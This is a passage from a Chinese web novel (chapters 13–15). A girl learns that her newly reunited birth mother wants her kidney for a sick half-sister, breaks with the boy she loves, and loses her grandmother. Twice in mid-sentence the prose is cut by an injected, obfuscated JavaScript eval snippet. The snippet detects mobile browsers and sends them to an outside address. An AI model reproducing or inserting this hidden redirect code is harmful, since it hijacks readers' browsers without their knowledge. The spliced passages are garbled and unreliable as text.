他们约在了一家高档的中餐厅，风筝继母显然是第一次来这种地方，她左看右看，对这种奢华的装修风格打从心底的喜欢和向往，风筝爸爸很远就看见了风筝的亲生母亲，她坐在那里兀自出神，旁边的陆爸爸背对着他们，站在窗户边打电话。他打量着自己的前妻，这么多年过去了，时光对她还算仁慈，并没有没收她的美丽与高贵，与年轻时不同，如今她依然耀眼，却多了几分柔和。她抬眼也看见了他们，微笑起身，示意服务员带他们过去。 陆爸爸放下了电话，转过身时，风筝父母刚好走到，他颇有礼貌地向风筝爸爸伸出手，“上次见面太匆忙，更没有想过我们还有这样的关系。” 好像是多值得炫耀的关系一样。风筝爸爸心想，象征性地碰了碰他的手，看起来并没有多友好。 方一落座，他便说道：“说吧，找我们有什么事，还非要见面说。” 陆妈妈看了一眼陆爸爸，说：“是关于风筝的事。” “风筝？风筝有什么事？”虽说风筝在她爸爸的心里并没有多么重要的地位，但是倘若陆妈妈想要把风筝带走，风筝爸爸还是有些不高兴的，自己辛辛苦苦养到这么大亲妈就突然杀出来盗号了？自己没有功劳也有苦劳，这些年为了风筝挨过的骂也让他不愿轻易点头。 “我们想把风筝接到我们这边生活一段时间。” “什么？” “好啊！” 风筝爸爸和继母几乎是同一时间做出了反应。 风筝继母拉了拉风筝爸爸的衣袖，似乎对于风筝爸爸的反应极不满意，风筝爸爸却也对风筝继母很不满意，她那语气，听起来就像是终于甩掉了一个烫手山芋一样，他有些生气地甩开了风筝继母的手。 陆妈妈说：“我们是这样想的，我们这边条件好一点，能给她更好的学习和生活环境，而且风筝和陆离也是同学，他们之间可以相互帮助，以后她的生活费、学费也由我们来承担。孩子已经这么大了，不存在在父母之间做一个选择了，等她考上大学，真正开始过她自己的人生了，她可以没事看看你们，也可以没事看看我们，这样不是很好吗？” 听起来的确是很好的事情，风筝继母心想，如果不用承担风筝的学费和生活费，对于他们的家庭来说，能节省一笔不小的开支，她的护肤品、衣服，也就可以买得再好一点了！ “好啊，不过，我们养了她这么多年也花费了不少，你作为孩子的亲生母亲，本来也应该承担一些抚养费的。”风筝爸爸思忖间，风筝继母忙接道。 “那是自然，前十几年，我亏欠了这个孩子，谢谢你帮我照顾我的女儿，等风筝到了我们家，我会补偿你的。” “说什么呢？！”风筝爸爸阻止了风筝继母再说话，老实讲，他今天的表现让陆爸爸很意外，来之前他们夫妻二人也设想过今天的场面，他坚持认为，风家这一对夫妻一定会见钱眼开，只要把人民币往桌子上一放，他们才不管陆家要接风筝回去干吗，立马就会将风筝的行李送到他们家。不过他的算盘也打的精的很，如果风筝不能给昭昭做肾移植，他才不愿意让风筝来他们家呢！他心里想着：话不能立马说得太满，所以赶忙制止了妻子继续承诺，转而问风筝爸爸，“风筝爸爸，您的意思呢？” “我不同意。”风筝爸爸立马回绝，如赌气一般。 “你有什么不同意的，你有钱供你女儿上大学吗？”风筝继母瞪着他，“再说了，这事儿得回去问人家风筝，你就确定，风筝愿意跟你一起过苦哈哈的生活？” “是呀，这事儿得征求孩子的意见。”陆爸爸也说。 风筝爸爸不说话，最后站起身来，丢下一句：“那就问了风筝再说。”转身离开了。风筝继母叫他他也不理，她只好也匆忙起身离开，心里对于与这一顿到嘴的高档美食擦肩而过感到惋惜。 “瞧瞧这夫妻二人的样子。”陆爸爸语气中充满了鄙夷。 陆妈妈看着他，“我们又能好到哪儿去？” 她话里有话，陆爸爸却听得明白。她是在谴责他们的自私与谎言，他嘴上虽然没有反驳，心里却略有些不以为然，社会不就是这样尔虞我诈吗？如果没有我这样尔虞我诈，你又哪里能天真简单的生活？他心里这样想着，一口喝下玻璃杯中的白开水，对于陆妈妈的纯真，感到些许无奈。 13. Chapter 13 风筝继母这两天高兴的很，对风筝也是颇有耐心，她将自己的衣柜收拾了个底朝天，把她不要的衣服全都拿出来送给风筝，风筝对此早已习以为常，她用过的大多数东西都是她继母淘汰下来的。比如在学校中午吃饭的饭盒，当初她说要买，她继母批评他浪费，将自己的旧的给了她，随后又给自己买了一套新的；比如她用的洗脸盆、洗脚盆，也是这样沿用了她继母的旧盆，她继母却以没盆用为借口换了新的……诸如此类的例子真是枚不胜举。 风筝继母内心坚信，自己肯定会说服风筝的爸爸，把风筝这个小拖油瓶踢到她妈妈那里。当然，她也没有过度自信，她这样坚信是因为她太了解风筝爸爸的弱点了。 这天晚上临睡前，她坐在梳妆台前保养她的皮肤，通过镜子，看见风筝爸爸正靠坐在床边捣鼓他的新茶壶，她观察着他的表情，似乎心情还算愉悦，轻轻咳了一声。 风筝爸爸没听见。 她转过身，“叫你呢！” 风筝爸爸也转过身，“叫我了？没听见啊！” 她瞪了他一眼，“诶，我说，那件事你考虑的怎么样了？” “哪件事？” “别给我装糊涂！你跟风筝说了没有？” “还没有。” 风筝继母有些着急，“怎么还没说啊？这都过去几天了！” “你急什么啊？！” 看风筝爸爸似乎还是不怎么同意的样子，风筝继母噤声片刻，脑子却在飞速转动，很快，她笑着走到风筝爸爸身边，在他旁边坐了下来，“你是不是觉得我特别不想要风筝啊？” 风筝爸爸撇撇嘴，不置可否，他心里的确是这样想的。 “这你可就真冤枉我了，我虽然是她的继母，但是好歹看着她长大了，就是养只小猫小狗分开了也难过呢！可是我觉得，风筝真的应该和她母亲一起生活。俗话说，‘穷养儿富养女’，风笛跟着咱们过苦日子没什么，风筝可不一样了，她是个女孩，咱们没有办法给她富裕的生活，以后她长大了，进社会了，哪个男人随便给点好处就把她勾搭走了。可如果她在富裕的环境下长大，什么好的东西都见过，以后就不会那么轻易地被男人骗走。做父母的不能那么自私，把孩子当做自己的私有财产，咱们有义务给孩子提供一个更好的生活环境，给孩子创造一个美好的未来啊！现在风筝有机会去过好的生活，咱们不能因为咱们的原因拉了孩子的后腿，这可是关系到孩子前程的大事情！” 这就是风筝爸爸的弱点，没有什么主见，太容易被别人洗脑。风筝继母说完这番话，看风筝爸爸一直不说话，心里不由开心，她知道，她再一次说服了自己的老公。 隔天，风筝爸爸果真和风筝聊了这件事。 风筝正在学习，风筝爸爸走进她的房间，坐在床边，风筝的奶奶也在。 他说，“风筝，你先停一下，我有话和你说。” 风筝转头看着自己的爸爸，她长这么大，从来没有和父亲心平气和的聊过天，所以她心底隐隐有一丝不安。 “你妈妈前两天约我见了一次面。” “什么？”风筝完全没听懂爸爸在说什么。或许是因为，在她心里面，妈妈这两个字代表的是继母，生母这个人，已经褪去了原本在她生命中应该厚重的颜色。 “你说文慧？”风筝奶奶插道。 “是。” 风筝看着爸爸，又看了看奶奶，虽然对妈妈的印象极为模糊，但是她还是知道的，文慧是她的亲生母亲。 “她找你干什么？”风筝问道。 “她说，想让你和她生活一段时间。” “什么？”这次换风筝奶奶惊讶了，她很是不高兴，“你不会答应了吧？她这么多年连个人影都没见过，孩子长大了，她要把孩子接走？” “妈，文慧现在生活很好，她可以给风筝更好的生活。” “好像风筝跟着我们没吃没喝了一样，你要是不养风筝，我养，我饿死也不把我孙女给那个女人！” “哪个女人啊？那是人家的亲妈！” “亲妈怎么了，这么多年她连孩子看都没看过一眼，现在突然蹦出来要把孩子接走，谁知道她安的什么心！” “人家是孩子的亲妈能安什么心啊？” “那可说不好，你还是孩子的亲爸呢，不是把孩子说给人就给人？” “我跟你简直没法说！” …… 爸爸和奶奶争执不下，风筝低着头在思考，她心里很乱，难过占大多数，不论是不是如爸爸所说，这么做是为了让她过更好的生活，她心里总摆脱不了爸爸这是不要她了的想法。这让她再一次清晰地认识到自己在父亲心目中的地位。除去难过，她心里还有一点好奇，好奇自己的妈妈到底是个什么样的女人。这么多年，她对她亲生母亲的感情也很复杂，有时候受了委屈，会恨她对自己不管不顾，她总想着，如果有妈妈，她或许就不会过得这么苦，至少在和继母发生争执的时候，还可以去找妈妈住两天。有时候，却又很想念她，她的样子、声音，会是一个温柔或者果敢的人，全是靠风筝想象出来的。关于父母离异这件事，她从来没有责怪过任何人，她觉得，那是大人的事情，她身边也有很多同学父母离异了，但是不同于她，他们都还和自己的父母保持着联系，无论父母是否再婚，对孩子的感情都不会变化，她很羡慕这样的离异家庭。 想到这里，她说，“我同意。” 爸爸和奶奶不由停止了争吵，皆有些意外地向她看来，奶奶气急，“风筝，你说什么呢啊？” 她走上前去拉着奶奶的手，很认真地说，“奶奶，我很想知道我妈妈长什么样子。” 奶奶看着她，还想说些什么，但终究是没有说出口，长长地叹了一口气。 风筝的爸爸也没再说什么，只是若有所思地看了看风筝。 第二天到学校，风筝很兴奋地将这件事告诉了陆离和薇薇。薇薇显得比她还要兴奋，“真的吗？你亲妈要接你去她那里生活一段时间？” “是啊，很突然吧？我也觉得很突然，不过我很好奇她是一个什么样的人。” “不管她是一个什么样的人，她都是你的亲生母亲，她一定会很爱你的。”薇薇肯定道。 “嗯。”风筝听后，心情变得舒畅起来。 陆离一直没有表态，只是微微皱着眉头看着风筝，这样的表情全被薇薇看在了眼里，她观察着他，觉得他似乎是想说些什么，又好像是在思考着什么，她不由也思考了起来，陆离到底是在隐瞒什么呢？ 风筝的爸爸和陆妈妈约好，周末的晚上来接风筝。妈妈没有来，只来了一个司机，说是妈妈正在给风筝亲手准备晚餐。 风筝的行李很少，一个书包加上一个手提袋。走的时候，奶奶一直躺在床上不说话，她知道奶奶是害怕风筝再也不回来了，所以她走到床边从背后抱住奶奶，在奶奶耳边说，“奶奶，风筝永远是您的孙女。” 奶奶闭着眼睛，眼皮却在止不住的颤动。 风筝的继母很开心，甚至还帮风筝把行李放到了陆家的车上。 风笛不知道发生了什么事，只是一个劲儿的跟在风筝的屁股后头问，“姐姐，你要去哪儿啊？你什么时候回来啊？” 风筝破天荒地觉得，风笛好像也没有那么讨厌。 风筝的爸爸一直沉默着，将风筝送到楼下，默默地盯着风筝上车一句话都没有说出口。风筝没有多想，他的爸爸向来是一个寡言的人，或者说，是一个在她和奶奶面前比较寡言的人，在继母和弟弟面前，爸爸经常还是很开心愿意开玩笑的。 夜，寂静无声。 风筝坐在后座，心情还算轻松，她欣赏着路边的景色，昏黄的路灯，漫步的行人，奔驰而过的车流，抬头可见稀稀拉拉的树叶枝杈，透过间隙，看着天空中隐隐约约挂满了的繁星。 风筝期待着、紧张着，她并不是一个像薇薇一样哪里都优秀的孩子，她不确定妈妈会不会喜欢自己，转念又想，她是自己的妈妈，不管自己什么样子，都应该会喜欢自己的吧？ 她就在这样忐忑的心情当中抵达了小区门口。 普罗旺斯小镇。 纯欧式的建筑风格，一个从外观上看就很高档的小区。 车子一路驶入小区，在环境优美、人少安静的道路上低速行驶着，风筝四下打量着这里。司机在一栋楼门前停下，他转过来对风筝点了点头，“到了。” “好。” 风筝走下车，司机帮他从后备箱中拿出了行李，然后指了指楼门口，“就是这里了。” 司机在楼门口输入密码，带着风筝一起走了进去，这个小区一层楼只有两户，司机按了按靠里面那一户的门铃。 很快，便有人在里面欢快地应道，“来了！” 是一个稚嫩的声音。 门被打开了，竟然是昭昭！风筝有一瞬间的愣怔，她已经很久没有见过昭昭了，她整个人瘦了一圈，笑起来却还是那样的可爱。 “王叔叔，你来了，妈妈说你要带姐姐过来。” “对啊，姐姐来了。”被称作王叔叔的司机伸手捏了捏昭昭的脸蛋。 风筝愣在原地看着这一幕，完全搞不清楚状况。 很快，陆离的爸爸和妈妈都走到了门边，陆爸爸也穿着宽松的居家服，谢过了司机老王，司机放下行李离开了，陆爸爸淡淡地冲风筝点了点头。 陆妈妈身上穿着围裙，还是那样的温柔亲切，她一只手捂着嘴巴，一副快要哭出来的样子，与风筝相隔一米的距离，仔细地看着风筝，从上到下，似乎是想要把风筝每一处的样子都看看清楚。 风筝却不敢靠近他们，她完全判断不了眼下的情况是怎么回事，她看见陆离站在陆爸爸陆妈妈的后面，大约是客厅的位置，也远远地看着她。 “怎么回事？”她问道。 “你爸爸没和你说吗？孩子，我就是你的妈妈啊！”陆妈妈伸手拉她，她却本能的向后退了一步。 WTF？这是风筝内心的第一反应。陆离的妈妈是她的亲生母亲？那么之前在医院的那次碰面，妈妈为什么没有认她？她想起那时候妈妈眼中的关切，还曾让她打从心底的感动，如今回头再想，只觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183597|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚伪。还有陆离、爸爸，他们应该也早都知道这件事了吧？为什么没有人告诉她？ 她平生最讨厌别人的欺骗，这一瞬间，却发现全世界都在欺骗她。虽然她还不知道他们为什么要欺骗她，但是却一点也没有了对母爱的向往与想象，她不想和妈妈住在一起了，她想要回家。 她转身准备离开，却被昭昭拉住了胳膊，“姐姐，别走。” “风筝，你听妈妈解释好吗？妈妈之前没有认你，是因为妈妈也有苦衷，妈妈完全没有想到会在那样的场合下见到你。当时只有我和你爸爸知道真相，可是我们都不知道该怎么办，所以才没有挑明。你先进来，听妈妈慢慢和你说好吗？” “是啊，风筝，你妈妈这些年很惦记你的，做梦都在喊你的名字。”陆爸爸也走出来拉住了她，他不由分说地从她的肩膀上拿下了书包，力道之大甚至不容风筝反抗，然后便笑着拉住风筝的胳膊，将她半拉半拖地拽进了屋里。 昭昭一直拉着她的手，风筝进门后，她给风筝介绍，“姐姐，这是哥哥，他比你大，以后你也要叫哥哥哦！” 风筝瞪着陆离，眼中满是埋怨。 陆离当然读的懂，他转眼避开了风筝的视线。 “姐姐你看，妈妈给你做了好多好吃的。”昭昭将风筝拉到餐桌前，的确，陆妈妈做了一桌很丰盛的晚餐，可是风筝却对此没什么兴趣。 陆妈妈说，“妈妈都不知道你爱吃些什么，只好多做一点，以后，你想吃什么跟妈妈说，妈妈都给你做。” “你真的是因为当时太突然才没有认我吗？” “当然了。” “那过了这么久了，你怎么也都没来认我？” 陆妈妈意识到在风筝的心里，还是很在乎自己这个不称职的母亲的，她心中很感动，也很内疚，拉住了风筝的手，让她在餐桌边坐下，“我当时不知道怎么和你叔叔说这件事，也不知道怎么和陆离说，就这么耽搁了下来，后来你也知道，昭昭生病了，我就暂时顾不上这件事了。” 这句话并没有说谎。可是风筝却听出来了其中的猫腻，她于是问，“那么，昭昭现在身体怎么样？” 一时间，陆家陷入了沉默。陆爸爸让昭昭先回了自己的房间，又对风筝说，“昭昭现在稳定一些了，你看，这不是回来迎接你了嘛？！” 风筝记得薇薇说过，昭昭需要换肾。将这整件事从头到尾串联起来想一想，她忽然笑了起来，盯着自己盼望、想念了那么多年的亲生母亲问，“稳定了？找到合适的肾，源了吗？” 她母亲惊讶地看着她，“你……你知道这件事？” 这句话如同一把重锤，将风筝的心都敲碎了，她当然知道了，事情发生到这一步还想不明白母亲为什么在这个时候接她回家就太蠢了！她的心里好难过，如同被生生撕裂一般，自己思念了那么多年的母亲，果真对自己没有一丁点的怜爱。而自己的父亲，又是为何同意母亲接自己过来？应该是收了一笔不小的钱吧！她心中这样想。余光中看见陆离，更是觉得好笑，这就是自己愿意掏心掏肺为之付出的人？ 可笑，这一切都真的是太可笑了。 “对不起，我要回家了。”她起身准备走，母亲却突然拉住了她，哭着说，“风筝，我知道我对不起你，我这辈子没有对不起过任何人但是我对不起你。无论如何，你要相信，妈妈真的爱你。只是，如果你不愿意救你妹妹，你妹妹或许就……” “那我呢？你考虑过我的感受吗？你们所有人，考虑过我的感受吗？” 后面这一句，她几乎是哭着说出来的。陆离知道，这句话是说给他听的，这些天，他何尝不煎熬？在看到风筝眼泪的这一瞬间，他知道他错了，他大错特错了！ “对不起，风筝，妈妈对不起你，妈妈没有办法……”陆妈妈也哭了，其实，她心里并不是一点都没有风筝，这些年，风筝就如同一把双刃剑，她想念着她，但是又一点都不愿意打破现在这样平静地生活，如果不是昭昭生病，她不确定她会不会去认风筝，但是这并不影响她想念这个女儿，关注这个女儿。这样矛盾的心理或许是源自于她的贪心以及不负责任，有时她想，事情发展成今天这个样子，或许只能用报应来解释了。 “抱歉，我也没有办法。”风筝看着自己的妈妈，心寒极了。她背起书包准备走，被陆爸爸抓住了胳膊，“你不能走。” “怎么？你们还要杀了我强取我的肾吗？”她瞪着他，眼光异样地冷峻，陆爸爸忍不住愣了一下，说，“你能不能救昭昭还是个未知数，你只需要去医院做个检查就好，如果不行，我们一起再等合适的肾源，你和你妈妈相认，对你来说并没有什么损失；如果可以，我们再谈后面的事……” 风筝冷笑，“怎么谈？拿什么谈？钱吗？谈我的肾值多少钱？你女儿的命值多少钱吗？” “风筝，你怎么可以这样和叔叔说话。” “怎么，说到你的内心了吧？这世界上，不是什么都可以用钱来衡量的，我这条命，我身上的每一个器官，没人疼，我自己疼！”风筝使劲儿挣脱了陆爸爸的手，大步离开了陆家。 14. Chapter 14 初冬的夜晚，城市好像下雨了，视线模糊又清晰，清晰又模糊，可是身上却不见湿，脸颊有点痒痒得，风筝伸手抹了一把，原来是自己一直在哭。 可怜。她忍不住自己都开始同情自己的命运。遇到了什么样的父母？喜欢上了什么样的人？为什么老天爷就不能对她公平一点？为什么这世界这样的让人绝望？ 怎么办，现在回家质问爸爸吗？家里一定又会掀起一场血雨腥风，太晚了，她不想打扰奶奶睡觉。可是自己又没有钱，连住酒店的钱都没有。她拿着行李一个人在路边走着，路灯拉长了她的身影，她一步步踩着自己的影子，总要做点什么事情才能让自己忘却恐惧啊。 陆离一直在她身后不远处跟着，他不敢上前去叫风筝，他知道如果此刻风筝和他说话，必将有一场激烈的争吵，或许还会引发一些他承受不起的后果。但是他又不放心风筝，她没有地方可以去，这么晚了，一个女孩子在街上闲逛是多么危险的一件事。 陆离打电话给薇薇，请求薇薇收留风筝一晚上，薇薇很爽快地答应了，并且表示她马上过来接风筝。 挂掉电话，陆离一转身就看到了风筝站在他的面前。 “跟着我干什么？” “我……不放心你。” “知道你现在这样有多假吗？” “风筝……”陆离很想解释些什么，但又觉得自己实在没什么可以解释的，“对不起……” “对不起？杀了人之后，再和别人说对不起，会让这个人重新活过来吗？” 陆离看着她，表情很是沉重，“我怎么做才能让你原谅我？” “我这个人没有什么优点，就是记性还不错，在哪里摔倒了，我就会转头往另一个方向走，永远都不再回到摔倒的这个地方。” “风筝，你不要这样。我不是故意要伤害你。” “那你是无意和他们一起欺骗我了？” “我当时不知道该怎么做……我想要告诉你，可是我说不出口，我害怕我会让事情变得更复杂。” “你是害怕，你打乱你父母取走我的肾的计划吧？”风筝冷冷地说。 陆离睁大了眼睛，“不是的，我从来都没有赞同过他们的做法！” “可你也没有阻止过他们！在你心里，也希望我可以拿出来一个肾救你的妹妹吧！” “风筝，昭昭她会死，这件事事关昭昭的生死啊！” 听到陆离这句话，风筝心痛不已，她当然知道昭昭会死，她也知道，捐给昭昭一个肾她不会死。可是，她难过的是，当面临这样的选择时，没有一个人考虑到她虽然不会死，但是会受伤害，失去一个肾，并不像打一个喷嚏那样轻松简单。在这个选择题中，昭昭和她站在天平的两端，却严重失衡，所有人都站在昭昭的那一面，声嘶力竭地告诉她，昭昭会死！而她孤零零地站在这一面，承担着所有的悲痛和压力，好像她不救昭昭就犯了什么十恶不赦的大罪一样！没有一个人站在她的背后告诉她，“风筝，这件事应该由你自己做出一个决定，不管你怎么样选择，我都支持你，爱你。”没有一个人想过，她虽然喜欢昭昭，但和昭昭也不过只有几面之缘，他们没有什么深厚的感情基础，她的肾也不是为了救昭昭而存在的。 “陆离，你知道我曾经有多喜欢你吗？” 陆离不说话，风筝口中的“曾经”二字让他心头不由一颤。 “你，是我愿意付出生命爱的人。但是今天我发现，你不是我要找的人。” 风筝转身，却被陆离拉住了手，他努力不让自己的声音颤抖地太厉害，“别走。” 风筝哭了，可是这一刻，她的心里无比清楚，她不会再喜欢陆离了，也不会再和陆离有什么关系了。她要找的人，是会像太阳一样光芒万丈，给予她无限温暖与包容的人，陆离虽然光芒万丈，可是他的光，却照耀不到她的身上。 他，是不属于她的太阳。 薇薇叫了一辆出租车来接风筝，在接到陆离电话的第一时间，她还是很担心风筝的，陆离并没有说什么事，她猜想大概是和风筝的家庭有关吧。路上她来回地思量这件事，又有些不高兴，风筝为什么可以和陆离走的这样近？这么晚了，他们两个又为什么在一起？ 带着满肚子的疑问与怨言，薇薇来到了陆离说的地方。风筝正和陆离在争吵，她听见风筝说，陆离不是她要找的人时，竟然感到心头那块压抑许久的石头终于落下来了。她看着陆离拉住风筝，看着两个人挂在脸庞的泪水，她心里知道，她的机会来了。 她走上前去，风筝看见她先是一愣，随后就抱着她大哭了起来，她什么也没问，一只手轻拍着风筝的背表示安慰，她的目光与陆离相对一瞬便匆忙转开，那眼神太过悲伤，她不喜欢这样的情绪，不喜欢和悲伤有关的一切东西。 “我带她先回去了。”她对陆离说。 陆离点点头，“拜托，好好照顾她。” 薇薇轻轻皱了一下眉头，但她并没有更多地将她的不悦表现出来，伸手接过风筝手里的行李，拉着她坐出租车回家了。 一路上，两个人谁都没有说话。 风筝很难过，沉浸在自己的心事当中，薇薇转头看了她一眼，她白皙的脸庞上挂着晶莹的泪珠，薇薇突然发现，风筝也算是一个长相很清秀的姑娘。她很诧异自己以前怎么从来都没有发现。可她并不打算安慰风筝，或者询问风筝发生了什么事情，这不是她的做事风格，如果风筝想说，自己会和她说的。况且，她心里的某一个阴暗角落还有一种愉悦的心情，这样愉悦的心情来自于报复的快感，虽然她还什么都没有做，但她想，风筝啊，终于也轮到你体会这样的心情了，不好受吧？ 折腾到大半夜，到了薇薇家以后，风筝心里觉得很愧疚，薇薇的妈妈虽然对她还是像原来一样热情、友好，但不难看出，她心里还是有些不高兴的。薇薇是个女孩，又是个长得很好看的女孩，这么晚跑出去一趟让她的父母也都跟着很揪心，没有办法安睡。因为自己家里的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183598|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次次牵连到薇薇，风筝也觉得很不好意思。 “薇薇，谢谢你，每一次在我需要的时候你都在。”风筝洗完澡出来，看到薇薇看书的背影，忍不住说道。 薇薇转过头，似乎对风筝的话感到很诧异，“你干嘛这么客气？我们可是闺蜜。” 听到“闺蜜”这两个字，风筝心里很感动，她觉得自己很幸运，经历了这么多的事情，薇薇却还是将她当做自己最好的朋友，她真是一个善良而美好的女孩。 “看我干什么？”薇薇注意到风筝的注视，问。 “觉得你很好看。”风筝如实回答。 薇薇被逗笑了，“我今天倒是发现，你也很好看。” 从来没有人这样夸过她。在风筝的印象中，一切美好的词语都和她没什么关系。所以她摇了摇头，并不怎么相信这样的夸奖，“别开我玩笑了。” 薇薇倒也不继续，转身收拾书本。 短暂的沉默后，风筝问薇薇，“薇薇，你还喜欢陆离吗？” 薇薇手上的动作停了片刻，答道，“说不喜欢，是假的，你呢？” “不喜欢了吧。” “喜欢就喜欢，不喜欢就不喜欢，什么叫做不喜欢了吧？” “说出来你可能都不信，陆离……他现在应该算是我的哥哥了。” “什么？”薇薇一脸搞不清状况，风筝便将这天晚上发生的事情全部讲给了薇薇，薇薇越听眼睛睁得越大，最后气愤地站了起来，不住指责陆离和风筝的父母，“他们怎么可以这样？简直是骇人听闻，电视剧里的情节都没有你家这些事情狗血！我要给陆离打电话，我要问问他为什么这样做！” 薇薇说着就去抓电话，风筝赶忙拉住她，“别打了，我已经和他说得很清楚了，我们以后大概连朋友都不是了。” “真的吗？连朋友都不是了？” 风筝点点头。薇薇不再说什么，看了风筝一瞬，好像突然想起来什么似的，喃喃自语：“难怪……” “难怪什么？” “难怪陆离和我说，让我好好劝劝你，帮他这个忙。” “陆离这样和你说？” “是啊，就是打电话让我去接你的时候，我问他什么事情他也不说，我还以为是学习上的小事情，他没说我也没再追问了。” 风筝的心冰冷冰冷，她丝毫没有怀疑薇薇言语的真实性，很多年后想起来，她才知道，或许那个时候，她从来都没有真正地信任过陆离，在她的心里，对薇薇的依赖和信任甚至是超过于陆离的。 薇薇不再说什么，她很懂得什么叫做“点到为止”，她看着风筝愈发阴郁的脸色，不自觉地勾了勾唇角，她了解风筝的弱点——心软、缺乏主见，她要让风筝彻底断了给昭昭捐肾的想法，就要让她对陆离、对她的亲生母亲恨之入骨。她决不允许风筝再有一点点地机会靠近陆离。之前，是她过于自信疏忽了，从现在开始，陆离将只属于她一个人，永永远远、完完整整地属于她一个人。 15. Chapter 15 高三的课业很重，倒是没有太多新的学习内容，但是几乎周周都有考试，班上的氛围也很是紧张。教室前面挂着一个倒计时牌，时刻提醒着大家还有多少天就要高考了。于风筝而言，这个倒计时牌就像是前方希望的曙光，等上了大学，她就可以离开家里自由自在的生活了。所以尽管忧心忡忡，风筝坚持没有请假，和薇薇一起去了学校。 她一晚上都没有睡踏实，她虽然生气、难过、悲伤，对自己的父母、陆离都充满了失望，但是她并没有完全下定决心不给昭昭捐肾，如果昭昭死了，她不知道自己将来有一天会不会为此而后悔。现在的情况就是，昭昭的命好像掌握在了她的手上，她甚至在想，如果她救了昭昭，妈妈会不会因此而多分给她一点母爱？用一个肾去换取母爱，她掂量不清到底值不值得。 她没有办法完全将注意力集中在学习上，坐了一会儿题便将草稿纸揪成了小片片，一张代表捐，一张代表不捐，一片片揉成团扔进垃圾桶里。这样的小动作完全被陆离看在了眼里，他也一样看不进去书，一页书在桌上放了一节课都没有翻动一页，一直望着风筝。 班主任走进教室，路过陆离的桌子轻轻敲了敲以示提醒，随后将风筝叫了出去。 风筝起先还以为是自己又犯了什么错，但班主任这次说话的语气很柔和，“风筝，你听老师说，不管发生什么事情，你要记得你今年高三，考大学是最重要的事。” 风筝懵然地点点头。 班主任接着说，“去收拾一下你的书包，你爸爸刚才打电话来，你奶奶病危了，你快去医院看看。” 什么？！风筝脚跟一软，不由向后趔趄一步。随后便狂奔进教室，顾不得收拾课本，抓起书包就跑了。 陆离匆忙起身追了出来，却被班主任拦住，“和你有什么关系，好好复习去！” “风筝怎么了？”他焦急地问。 “风筝是你什么人啊你这么操心，回去看书去！” “是我喜欢的人！”陆离从没有见过风筝如此着急，他知道一定是出什么大事情了，所以他推开老师，也赶忙跑出了教室。 留下班主任一个人在教室门口气的直跺脚。 医院抢救室外，风筝远远看见风笛和她的继母在走廊的座椅上坐着，风笛在抹眼泪，一旁的继母面色平静，像是没事儿人一样。 她一步步走过去，从开着的门向内看去，一片冰冷的白色，奶奶躺在病床上，鼻腔内插着氧气，爸爸坐在病床边兀自出神，抬头看见了风筝，赶忙让她过去，一面同风筝奶奶说，“风筝来了，妈，风筝来了。” 奶奶像是费了极大的力气，终于睁开了眼睛，她伸出手，想要拉住风筝的手，风筝难以自控地哭了起来，伸手握住奶奶的手，“奶奶……奶奶……风筝回来了……” “风筝……”奶奶的声音虚弱，“奶奶……要走了……” “不……不要……” 看着泣不成声的风筝，奶奶也忍不住落下了眼泪，风筝的爸爸双手紧握成拳，无论这些年累积了多少的矛盾，躺在床上行将就木的人毕竟是生他养他的母亲。 “答应奶奶……不要……肾……”奶奶吃力地说着，却紧紧地抓着风筝的手。 风筝不住地点头，“不去，不去，我不会给任何人捐肾。” 奶奶终于松了一口气，轻轻呼了一口气闭上了眼睛，静静地、永远地离开了风筝…… 风筝哭得撕心裂肺，当太平间的工作人员要将奶奶推走的时候，她紧紧地抓着病床无论如何也不肯放手，因为太过用力，手指的骨节清晰可见，爸爸和陆离从后面抱住她，想要让她松手，却是无论如何也掰不开她的手，好像她将全身的力量都集中在了手部，宁肯失了这双手，也不肯松开手。 不得已，医生给她注射了镇定剂，才终于让她安静了下来。 风筝做了一个冗长的梦。 梦里她又回到了小时候，她和奶奶住在曾经那个破旧的楼房里。 梦里没有爸爸、没有继母、也没有风笛。 只有她和奶奶。 那个家里陈设简单，只有几件日常的家具，但她却过得无忧无虑。 正午，她趴在阳台上，看着天空中飘过的云朵，高兴地指给奶奶看，这一朵像大马，那一朵像小狗……趁着她张开嘴巴，奶奶迅速将一勺米饭塞进她的嘴巴。她望着小时候的自己，不自觉扬起了嘴角，原来，她也曾被这样宠爱过。 老楼忽然摇动坍塌，梦境一下子变换到了风筝上学的时候，她背着书包往家里走，路过一家肉夹馍店，想了想买了一个带回去给奶奶，奶奶推脱不吃，让她吃，她便说：“我在外面吃过了，奶奶你吃吧！”奶奶这才坐在床上吃了起来。十三岁的风筝看着奶奶吃肉夹馍的样子心里很满足，但她也有一点眼馋，可她想啊，她还小着呢，等以后挣了钱可以吃好多好多的肉夹馍！ 随后，梦境突然开始快速的轮播，她冲着奶奶胡乱发脾气的画面……奶奶省吃俭用偷偷存钱补贴她的画面……她看书到深夜，奶奶坐在一旁打瞌睡陪她的画面……最后一个画面是奶奶心脏病发作，躺在病床上嘴唇青紫，她吓得手足无措，求医生救救奶奶的画面…… 她缓缓睁开眼睛。 她知道，这一次，奶奶是真的走了。 一滴眼泪顺着她的眼眶落了下来，这一刻，风筝前所未有的冷静。陆离趴在他的病床前睡着了，她起身，拔掉了插在手上的针头，穿好鞋子离开了医院。 